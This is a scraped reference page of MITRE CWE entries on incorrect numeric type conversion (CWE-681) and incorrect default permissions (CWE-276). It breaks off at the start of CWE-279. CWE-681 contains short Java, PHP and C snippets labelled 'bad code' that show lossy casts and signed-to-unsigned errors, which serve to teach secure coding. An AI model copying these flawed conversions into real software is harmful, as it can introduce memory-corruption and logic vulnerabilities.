updated Demonstrative_Examples, Observed_Examples

CWE-681: Incorrect Conversion between Numeric Types

Weakness ID: 681
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.704Incorrect Type Conversion or Cast
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.192Integer Coercion Error
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.194Unexpected Sign Extension
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.196Unsigned to Signed Conversion Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.197Numeric Truncation Error
CanPrecedePillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.136Type Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.704Incorrect Type Conversion or Cast
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.194Unexpected Sign Extension
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.196Unsigned to Signed Conversion Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.197Numeric Truncation Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.194Unexpected Sign Extension
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.196Unsigned to Signed Conversion Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.197Numeric Truncation Error
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Integrity

Technical Impact: Unexpected State; Quality Degradation

The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

(bad code)
Example Language: Java 
int i = (int) 33457.8f;

Example 2

This code adds a float and an integer together, casting the result to an integer.

(bad code)
Example Language: PHP 
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

(bad code)
Example Language:
unsigned int readdata () {
int amount = 0;
...
if (result == ERROR)
amount = -1;
...
return amount;
}

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

(bad code)
Example Language:
unsigned int readdata () {
int amount = 0;
...
amount = accessmainframe();
...
return amount;
}

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

+ Observed Examples
ReferenceDescription
Chain: integer coercion error (CWE-192) prevents a return value from indicating an error, leading to out-of-bounds write (CWE-787)
Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122)
Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.
Integer truncation of length value leads to heap-based buffer overflow.
Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.
+ Potential Mitigations

Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.739CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.848The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.873CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1137SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1159SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFLP34-CCWE More AbstractEnsure that floating point conversions are within range of the new type
CERT C Secure CodingINT15-CUse intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure CodingINT31-CCWE More AbstractEnsure that integer conversions do not result in lost or misinterpreted data
CERT C Secure CodingINT35-CEvaluate integer expressions in a larger size before comparing or assigning to that size
The CERT Oracle Secure Coding Standard for Java (2011)NUM12-JEnsure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault PatternsSFP1Glitch in computation
OMG ASCSMASCSM-CWE-681
+ References
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-681. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Observed_Examples, Taxonomy_Mappings, Type
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples

CWE-276: Incorrect Default Permissions

Weakness ID: 276
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
During installation, installed file permissions are set to allow anyone to modify those files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1198Privilege Separation and Access Control Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Installation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Likelihood Of Exploit
Medium
+ Observed Examples
ReferenceDescription
Executables installed world-writable.
Home directories installed world-readable.
World-writable log files allow information loss; world-readable file has cleartext passwords.
World-readable directory.
Windows product uses insecure permissions when installing on Solaris (genesis: port error).
Insecure permissions for a shared secret key file. Overlaps cryptographic problem.
Default permissions of a device allow IP spoofing.
+ Potential Mitigations

Phases: Architecture and Design; Operation

The architecture needs to access and modification attributes for files to only those users who actually require those actions.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Host Application Interface Scanner
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1376ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsecure Default Permissions
CERT C Secure CodingFIO06-CCreate files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011)FIO01-JCreate files with appropriate access permission
ISA/IEC 62443Part 2-4Req SP.03.08
ISA/IEC 62443Part 4-2Req CR 2.1
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Insecure Defaults", Page 69. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Relationships
2020-08-20CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Potential_Mitigations
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Insecure Default Permissions

CWE-279: Incorrect Execution-Assigned Permissions

Weakness ID: 279
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Architecture and Design
Operation
+ Applicable Platforms
